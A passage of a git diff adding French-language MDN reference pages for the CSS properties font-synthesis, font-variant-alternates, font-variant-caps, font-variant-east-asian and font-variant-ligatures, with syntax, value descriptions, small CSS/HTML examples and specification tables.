+<p>La plupart des polices occidentales incluent les variantes de graisse et d'italique mais certaines polices récentes ou utilisées pour le chinois, le japonais, le coréen ou d'autres scripts ont tendance à ne pas inclure ces éléments. La synthèse automatique du gras ou de l'italique par le navigateur peut réduire la lisibilité du texte et il est alors préférable de désactiver l'émulation du gras et de l'italique du navigateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété peut prendre l'une des formes suivantes :</p>
+
+<ul>
+ <li>le mot-clé <code>none</code></li>
+ <li>le mot-clé <code>weight</code> ou le mot-clé <code>style</code></li>
+ <li>la valeur <code>weight style</code></li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Ce mot-clé indique que la graisse ou l'italique ne doivent pas être synthétisés.</dd>
+ <dt><code>weight</code></dt>
+ <dd>Ce mot-clé indique qu'une fonte grasse peut être synthétisée si besoin.</dd>
+ <dt><code>style</code></dt>
+ <dd>Ce mot-clé indique qu'une fonte italique peut être synthétisée si besoin.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="syn"&gt;Ne me synthétisez pas !&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.syn {font-synthesis: none;}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-synthesis', 'font-synthesis')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-synthesis")}}</p>
diff --git a/files/fr/web/css/font-variant-alternates/index.html b/files/fr/web/css/font-variant-alternates/index.html
new file mode 100644
index 0000000000..ba6cd8ac54
--- /dev/null
+++ b/files/fr/web/css/font-variant-alternates/index.html
@@ -0,0 +1,125 @@
+---
+title: font-variant-alternates
+slug: Web/CSS/font-variant-alternates
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant-alternates
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant-alternates</code></strong> contrôle l'utilisation de glyphes alternatifs. Ces glyphes peuvent être référencé par les noms définis avec la règle @ {{cssxref("@font-feature-values")}}.</p>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+font-variant-alternates: normal;
+font-variant-alternates: historical-forms;
+
+/* Valeurs avec une notation fonctionnelle */
+font-variant-alternates: stylistic(identifiant-utilisateur);
+font-variant-alternates: styleset(identifiant-utilisateur);
+font-variant-alternates: character-variant(identifiant-utilisateur);
+font-variant-alternates: swash(identifiant-utilisateur);
+font-variant-alternates: ornaments(identifiant-utilisateur);
+font-variant-alternates: annotation(identifiant-utilisateur);
+font-variant-alternates: swash(ident1) annotation(ident2);
+
+/* Valeurs globales */
+font-variant-alternates: initial;
+font-variant-alternates: inherit;
+font-variant-alternates: unset;
+</pre>
+
+<p>Ces règles @ définissent les noms associés aux valeurs OpenType pour les différents types de glyphes alternatifs (<code>stylistic</code>, <code>styleset</code>, <code>character-variant</code>, <code>swash</code>, <code>ornament</code> ou <code>annotation</code>). Ces propriétés permettent d'utiliser des noms adaptés (définis avec {{cssxref("@font-feature-values")}}) dans la feuille de style.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété peut être définie selon deux formes :</p>
+
+<ul>
+ <li>la première avec le mot-clé <code>normal</code></li>
+ <li>la seconde avec un ou plusieurs mots-clés parmi ceux listés ci-aprés. S'il y a plusieurs mots-clés, ils sont séparés par des espaces. Les mots-clés peuvent être dans n'importe quel ordre.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé désactive l'utilisation de tels glyphes alternatifs.</dd>
+ <dt><code>historical-forms</code></dt>
+ <dd>Ce mot-clé active l'affichage de formes historiques, c'est-à-dire des glyphes communs par le passé qui ne sont plus utilisés aujourd'hui. Cette valeur correspond à la valeur OpenType <code>hist</code>.</dd>
+ <dt><code><a name="stylistic()"></a>stylistic()</code></dt>
+ <dd>Cette fonction active l'affichage de formes stylistiques alternatives. Le paramètre passé à la fonction est un nom spécifique à la fonte associé à un nombre. Elle correspond à la valeur OpenType <code>salt</code>, par exemple <code>salt 2</code>.</dd>
+ <dt><code><a name="styleset()"></a>styleset()</code></dt>
+ <dd>Cette fonction active l'utilisation d'un ensemble de caractères d'un style alternatif. Le paramètre est un nom spécifique à la fonte, associé à un nombre. Elle correspond à la valeur OpenType <code>ssXY</code> (par exemple <code>ss02</code>).</dd>
+ <dt><code><a name="character-variant()"></a>character-variant()</code></dt>
+ <dd>Cette fonction active l'utilisation d'un ensemble de caractères stylistiques alternatifs. Elle est semblable à <code>styleset()</code> mais n'implique pas de cohérence entre les différents caractères. Avec cette valeur, les différents caractères peuvent avoir un style indépendant qui peut ne pas être cohérent. Le paramètre passé à la fonction est un nom lié à la fonte auquel est associé un nombre. Elle correspond à la valeur OpenType <code>cvXY</code> (par exemple <code>cv02</code>).</dd>
+ <dt><code><a name="swash()"></a>swash()</code></dt>
+ <dd>Cette fonction active l'affichage des glypes <a href="https://fr.wikipedia.org/wiki/Lettre_orn%C3%A9e">pour les lettres ornées</a>. Le paramètre passé à la fonction est un nom lié à la fonte auquel est associé un nombre. Elle correspond aux valeurs OpenType <code>swsh</code> et <code>cswh</code> (par exemple <code>swsh 2</code> ou <code>cswh 2</code>).</dd>
+ <dt><code><a name="ornaments()"></a>ornaments()</code></dt>
+ <dd>Cette fonction active l'affichage des ornements tels que les <a href="https://fr.wikipedia.org/wiki/Fleuron_(typographie)">fleurons</a> et autres casseaux. Le paramètre passé à la fonction est un nom lié à la fonte auquel est associé un nombre. Cette valeur correspond à la valeur OpenType <code>ornm</code> (par exemple <code>ornm 2</code>).
+ <div class="note"><strong>Note : </strong>afin de préserver la sémantique de la fonte, les fondeurs sont invités à ne pas créer de casseaux qui correspondent aux caractères Unicode déjà définis comme variantes d'ornement pour la puce  (U+2022). De nombreuses fontes passent outre cette règle et perdent ainsi en qualité.</div>
+ </dd>
+ <dt><code><a name="annotation()"></a>annotation()</code></dt>
+ <dd>Cette fonction active l'affichage des annotations (telles que les chiffres entourés ou les caractères inversés). Le paramètre est un nom lié à la fonte auquel est associé un nombre. Cette valeur correspond à la valeur OpenType <code>nalt</code> (par exemple <code>nalt 2</code>).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;MDN c'est là !&lt;/p&gt;
+&lt;p class="variant"&gt;MDN c'est là !&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@font-feature-values "Leitura Display Swashes" {
+  @swash { fancy: 1 }
+}
+
+p {
+  font-size: 1.5rem;
+}
+
+.variant {
+  font-family: Leitura Display Swashes;
+  font-variant-alternates: swash(fancy);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Pour que cet exemple fonctionne, il faut avoir installé la fonte Open Type Leitura Display Swashes. Une version de test est disponible sur <a href="https://fontsgeek.com">fontsgeek.com</a>.</p>
+
+<p>{{EmbedLiveSample('Exemples', '', '', '', 'Web/CSS/font-variant-alternates')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-alternates', 'font-variant-alternates')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant-alternates")}}</p>
diff --git a/files/fr/web/css/font-variant-caps/index.html b/files/fr/web/css/font-variant-caps/index.html
new file mode 100644
index 0000000000..7c198010cb
--- /dev/null
+++ b/files/fr/web/css/font-variant-caps/index.html
@@ -0,0 +1,132 @@
+---
+title: font-variant-caps
+slug: Web/CSS/font-variant-caps
+tags:
+  - CSS
+  - CSS Fonts
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant-caps
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant-caps</code></strong> permet de contrôler les glyphes utilisés pour représenter les lettres en capitales. Les scripts peuvent avoir différents glyphes de différentes tailles pour les différentes représentations des capitales et cette propriété permet de choisir une de ces formes.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-variant-caps.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Quand une fonte inclut des glyphes de lettres capitales avec différents corps (taille), cette propriété sélectionne la plus appropriée. Si les très petites capitales ne sont pas toutes présentes pour cette fonte, ce seront les petites capitales qui seront utilisées. Si celles-ci ne sont pas présentes, le moteur les synthétisera à partir des glyphes des capitales.</p>
+
+<p>Certains caractères sans casse (comme les caractères de ponctuation) peuvent être représentés avec différents glyphes afin de mieux les représenter avec les caractères environnants. Les caractères sans casse ne sont pas synthétisés par le navigateur s'il n'y a pas de petite capitales.</p>
+
+<h3 id="Règles_spécifiques_aux_langues">Règles spécifiques aux langues</h3>
+
+<p>Les règles liées à chaque langue/locale sont prises en compte avec les valeurs. Par exemple :</p>
+
+<ul>
+ <li>Pour les langues turques comme le turc (tr), l'azerbaidjanais (az), le tatare de Crimée (crh), le tatare de Volga et le Bashkir (ba), il y a deux types de i : avec ou sans le point et deux majuscules correspondantes <code>i</code>/<code>İ</code> et <code>ı</code>/<code>I</code>.</li>
+ <li>En allemand (de), le caractère <code>ß</code> devient <code>ẞ</code> (U+1E9E) en majuscule.</li>
+ <li>En grec (el), les voyelles perdent leur accent en majuscule lorsque tout le mot est en majuscule (<code>ά</code>/<code>Α</code>), sauf pour le êta disjonctif (<code>ή</code>/<code>Ή</code>). Les diphthongues avec un accent sur la première voyellle perdent l'accent et ajoutent une diacritique sur la deuxième voyelle (<code>άι</code>/<code>ΑΪ</code>).</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css notranslate">/* Valeurs avec un mot-clé */
+font-variant-caps: normal;
+font-variant-caps: small-caps;
+font-variant-caps: all-small-caps;
+font-variant-caps: petite-caps;
+font-variant-caps: all-petite-caps;
+font-variant-caps: unicase;
+font-variant-caps: titling-caps;
+
+/* Valeurs globales */
+font-variant-caps: inherit;
+font-variant-caps: initial;
+font-variant-caps: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé désactive l'utilisation des glyphes alternatifs.</dd>
+ <dt><code>small-caps</code></dt>
+ <dd>Ce mot-clé active l'utilisation de petites capitales pour les minuscules. Il correspond à la valeur OpenType <code>smcp</code> ; si la fonte ne supporte pas cette option, le moteur synthétisera les glyphes.</dd>
+ <dt><code>all-small-caps</code></dt>
+ <dd>Ce mot-clé active l'utilisation de petites capitales pour les minuscules. Il correspond aux valeurs OpenType <code>smcp</code> et <code>c2sc</code> ; si la fonte ne supporte pas cette option, le moteur synthétisera les glyphes.</dd>
+ <dt><code>petite-caps</code></dt>
+ <dd>Ce mot-clé active l'utilisation de toutes petites capitales pour les minuscules. Il correspond à la valeur OpenType <code>pcap</code> ; si la fonte ne supporte pas cette option, le moteur utilisera les petites capitales.</dd>
+ <dt><code>all-petite-caps</code></dt>
+ <dd>Ce mot-clé active l'utilisation de toutes petites capitales pour les minuscules. Il correspond aux valeurs OpenType <code>pcap </code>et <code>c2pc</code> ; si la fonte ne supporte pas cette option, le moteur utilisera les petites capitales.</dd>
+ <dt><code>unicase</code></dt>
+ <dd>Ce mot-clé active l'utilisation de petites capitales pour les majuscules. Il correspond à la valeur OpenType <code>unic</code>.</dd>
+ <dt><code>titling-caps</code></dt>
+ <dd>Ce mot-clé active l'utilisation de capitales spéciales pour les titres (à la fois pour les minuscules et majuscules). Généralement, les glyphes majuscules sont conçus pour utiliser les glyphes minuscules et ils apparaissent trop gras quand il y a un long fragment de texte utilisant de tels glyphes. L'objectif de ces glyphes spéciaux est d'éviter un tel effet. Ce mot-clé correspond à la valeur OpenType <code>titl</code> ; si la fonte ne supporte pas ce cas, le mot-clé n'aura pas d'action visible.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css notranslate">.exemple {
+  font-variant-caps: small-caps;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  La Reine devint pourpre de colère et
+  après l’avoir considérée un moment avec
+  des yeux flamboyants comme ceux d’une
+  bête fauve, elle se mit à crier :
+  « &lt;span class="exemple"&gt;Qu’on lui coupe la tête !&lt;/span&gt; »
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>L'utilisation de grandes portions de textes avec <code>font-style: all-small-caps</code> ou <code>font-style: all-petite-caps</code> peut rendre la lecture difficile pour les personnes dyslexiques ou ayant des troubles cognitifs.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG21/#visual-presentation"><em>W3C Understanding WCAG 2.1 </em>(en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-caps', 'font-variant-caps')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant-caps")}}</p>
diff --git a/files/fr/web/css/font-variant-east-asian/index.html b/files/fr/web/css/font-variant-east-asian/index.html
new file mode 100644
index 0000000000..22d44dfb1a
--- /dev/null
+++ b/files/fr/web/css/font-variant-east-asian/index.html
@@ -0,0 +1,139 @@
+---
+title: font-variant-east-asian
+slug: Web/CSS/font-variant-east-asian
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant-east-asian
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant-east-asian</code></strong> contrôle l'utilisation des glyphes alternatifs pour les scripts japonais, chinois et d'Asie orientale.</p>
+
+<pre class="brush:css no-line-numbers">font-variant-east-asian: normal;
+font-variant-east-asian: ruby;
+font-variant-east-asian: jis78;              /* &lt;east-asian-variant-values&gt; */
+font-variant-east-asian: jis83;              /* &lt;east-asian-variant-values&gt; */
+font-variant-east-asian: jis90;              /* &lt;east-asian-variant-values&gt; */
+font-variant-east-asian: jis04;              /* &lt;east-asian-variant-values&gt; */
+font-variant-east-asian: simplified;         /* &lt;east-asian-variant-values&gt; */
+font-variant-east-asian: traditional;        /* &lt;east-asian-variant-values&gt; */
+font-variant-east-asian: full-width;         /* &lt;east-asian-width-values&gt; */
+font-variant-east-asian: proportional-width; /* &lt;east-asian-width-values&gt; */
+font-variant-east-asian: ruby full-width jis83;
+
+/* Valeurs globales */
+font-variant-east-asian: inherit;
+font-variant-east-asian: initial;
+font-variant-east-asian: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé désactive les glyphes alternatifs.</dd>
+ <dt><code>ruby</code></dt>
+ <dd>Ce mot-clé force l'utilisation de glyphes spécifiques pour les caractères ruby. Généralement, ceux-ci sont plus petits et légèrement plus gras pour améliorer le contraste. Ce mot-clé correspond aux valeurs OpenType <code>ruby</code>.</dd>
+ <dt><code>&lt;east-asian-variant-values&gt;</code></dt>
+ <dd>Ces valeurs définissent un ensemble de variantes de glypes logographiques à utiliser pour l'affichage. Les valeurs possibles sont :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Mot-clé</th>
+    <th>Standard dans lequel sont définis les glyphs</th>
+    <th>Équivalent OpenType</th>
+   </tr>
+   <tr>
+    <td><code>jis78</code></td>
+    <td><a href="https://en.wikipedia.org/wiki/JIS_X_0208#First_standard">JIS X 0208:1978</a></td>
+    <td><code>jp78</code></td>
+   </tr>
+   <tr>
+    <td><code>jis83</code></td>
+    <td><a href="https://en.wikipedia.org/wiki/JIS_X_0208#Second_standard">JIS X 0208:1983</a></td>
+    <td><code>jp83</code></td>
+   </tr>
+   <tr>
+    <td><code>jis90</code></td>
+    <td><a href="https://en.wikipedia.org/wiki/JIS_X_0208#Third_standard">JIS X 0208:1990</a></td>
+    <td><code>jp90</code></td>
+   </tr>
+   <tr>
+    <td><code>jis04</code></td>
+    <td><a href="https://en.wikipedia.org/wiki/JIS_X_0213">JIS X 0213:2004</a></td>
+    <td><code>jp04</code></td>
+   </tr>
+   <tr>
+    <td><code>simplified</code></td>
+    <td>Aucun, ce sont les glyphes chinois simplifiés qui sont utilisés.</td>
+    <td><code>smpl</code></td>
+   </tr>
+   <tr>
+    <td><code>traditional</code></td>
+    <td>Aucun, ce sont les glyphes chinois traditionnels qui sont utilisés.</td>
+    <td><code>trad</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><em>&lt;<em>east-asian-width-values</em></em>&gt;</dt>
+ <dd>Ces valeurs permettent de contrôler le dimensionnement des symboles pour les caractères des langues d'Asie orientale. Deux valeurs sont possibles :
+ <ul>
+  <li><code>proportional-width</code> qui active l'ensemble de caractères d'Asie orientale qui n'ont pas tous la même largeur. Elle correspond aux valeurs OpenType <code>pwid</code>.</li>
+  <li><code>full-width</code> qui active l'ensemble de caractères d'Asie orientale où les caractères ont tous la même taille et forme carrée. Elle correspond aux valeurs OpenType <code>fwid</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">exemple {
+  font-variant-east-asian: ruby;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;!&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>{{LiveSampleLink("Exemples","Lien vers l'exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-east-asian', 'font-variant-east-asian')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant-east-asian")}}</p>
diff --git a/files/fr/web/css/font-variant-ligatures/index.html b/files/fr/web/css/font-variant-ligatures/index.html
new file mode 100644
index 0000000000..1d5a545e78
--- /dev/null
+++ b/files/fr/web/css/font-variant-ligatures/index.html
@@ -0,0 +1,212 @@
+---
+title: font-variant-ligatures
+slug: Web/CSS/font-variant-ligatures
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant-ligatures
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant-ligatures</code></strong> contrôle quelles {{Glossary("ligatures")}} et {{Glossary("formes contextuelles")}} sont utilisées dans les éléments textuels auxquels elle s'applique. Ceci vise à harmoniser l'affichage du texte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-variant-ligatures.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">font-variant-ligatures: normal;
+font-variant-ligatures: none;
+font-variant-ligatures: common-ligatures;           /* &lt;common-lig-values&gt; */
+font-variant-ligatures: no-common-ligatures;        /* &lt;common-lig-values&gt; */
+font-variant-ligatures: discretionary-ligatures;    /* &lt;discretionary-lig-values&gt; */
+font-variant-ligatures: no-discretionary-ligatures; /* &lt;discretionary-lig-values&gt; */
+font-variant-ligatures: historical-ligatures;       /* &lt;historical-lig-values&gt; */
+font-variant-ligatures: no-historical-ligatures;    /* &lt;historical-lig-values&gt; */
+font-variant-ligatures: contextual;                 /* &lt;contextual-alt-values&gt; */
+font-variant-ligatures: no-contextual;              /* &lt;contextual-alt-values&gt; */
+font-variant-ligatures: contextual;                 /* &lt;no-historical-ligatures&gt; &lt;common-ligatures&gt; */
+
+/* Valeurs globales */
+font-variant-ligatures: inherit;
+font-variant-ligatures: initial;
+font-variant-ligatures: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Cette valeur active les ligatures et les formes contextuelles courantes pour un rendu correct. Les ligatures et formes activées dépendent de la police utilisée, de la langue et de certains scripts. C'est la valeur par défaut.</dd>
+ <dt><code>none</code></dt>
+ <dd>Cette valeur désactive toutes les ligatures et formes contextuelles, y compris celles couramment utilisées.</dd>
+ <dt>&lt;common-lig-values&gt;</dt>
+ <dd>Ces valeurs contrôlent les ligatures les plus courantes, comme <code>fi</code>, <code>ffi</code>, <code>th</code> et autres. Elles correspondent aux valeurs OpenType <code>liga</code> and <code>clig</code>. Deux valeurs sont possibles:
+ <ul>
+  <li><code>common-ligatures</code> active ces ligatures. Notez que la valeur <code>normal</code> active ces ligatures.</li>
+  <li><code>no-common-ligatures</code> désactive ces ligatures.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;discretionary-lig-values&gt;</em></dt>
+ <dd>Ces valeurs contrôlent les ligatures spécifiques, spécifiques à la police et définies par le fondeur. Elles correspondent à la valeur OpenType <code>dlig</code>. Deux valeurs sont possibles:
+ <ul>
+  <li><code>discretionary-ligatures</code> active ces ligatures.</li>
+  <li><code>no-discretionary-ligatures</code> désactive ces ligatures. Notez que la valeur <code>normal</code> désactive ces ligatures.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;historical-lig-values&gt;</em></dt>
+ <dd>Ces valeurs contrôlent les ligatures historiques, utilisées dans les livres anciens, comme l'allemand tz qui devient ß. Elles correspondent à la valeur OpenType <code>hlig</code>. Deux valeurs sont possibles:
+ <ul>
+  <li><code>historical-ligatures</code> active ces ligatures.</li>
+  <li><code>no-historical-ligatures</code> désactive ces ligatures. Notez que la valeur <code>normal</code> désactive ces ligatures.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;contextual-alt-values&gt;</em></dt>
+ <dd>Ces valeurs contrôlent la manière dont les lettres s'adaptent à leur contexte, c'est-à-dire aux lettres qui les entourent. Elles correspondent à la valeur OpenType <code>calt</code>. Deux valeurs sont possibles:
+ <ul>
+  <li><code>contextual</code> précise que des alternatives contextuelles peuvent être utilisées. Notez que la valeur <code>normal</code> active ces ligatures.</li>
+  <li><code>no-contextual</code> interdit leur utilisation.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">p {
+  font-size: 2rem;
+  font-family: Lora, serif;
+}
+.normal {
+  font-variant-ligatures: normal;
+}
+
+.none {
+  font-variant-ligatures: none;
+}
+
+.common-ligatures {
+  font-variant-ligatures: common-ligatures;
+}
+
+.no-common-ligatures {
+  font-variant-ligatures: no-common-ligatures;
+}
+
+.discretionary-ligatures {
+  font-variant-ligatures: discretionary-ligatures;
+}
+
+.no-discretionary-ligatures {
+  font-variant-ligatures: no-discretionary-ligatures;
+}
+
+.historical-ligatures {
+  font-variant-ligatures: historical-ligatures;
+}
+
+.no-historical-ligatures {
+  font-variant-ligatures: no-historical-ligatures;
+}
+
+.contextual {
+  font-variant-ligatures: contextual;
+}
+
+.no-contextual {
+  font-variant-ligatures: no-contextual;
+}
+
+.contextual {
+  font-variant-ligatures: contextual;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;link href="//fonts.googleapis.com/css?family=Lora" rel="stylesheet"&gt;
+&lt;p class="normal"&gt;
+  normal&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="none"&gt;
+  none&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="common-ligatures"&gt;
+  common-ligatures&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="no-common-ligatures"&gt;
+  no-common-ligatures&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="discretionary-ligatures"&gt;
+  discretionary-ligatures&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="no-discretionary-ligatures"&gt;
+  no-discretionary-ligatures&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="historical-ligatures"&gt;
+  historical-ligatures&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="no-historical-ligatures"&gt;
+  no-historical-ligatures&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="contextual"&gt;
+  contextual&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="no-contextual"&gt;
+  no-contextual&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+&lt;p class="contextual"&gt;
+  contextual&lt;br&gt;
+  if fi ff tf ft jf fj
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '', '', '', 'Web/CSS/font-variant-ligatures')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-ligatures', 'font-variant-ligatures')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
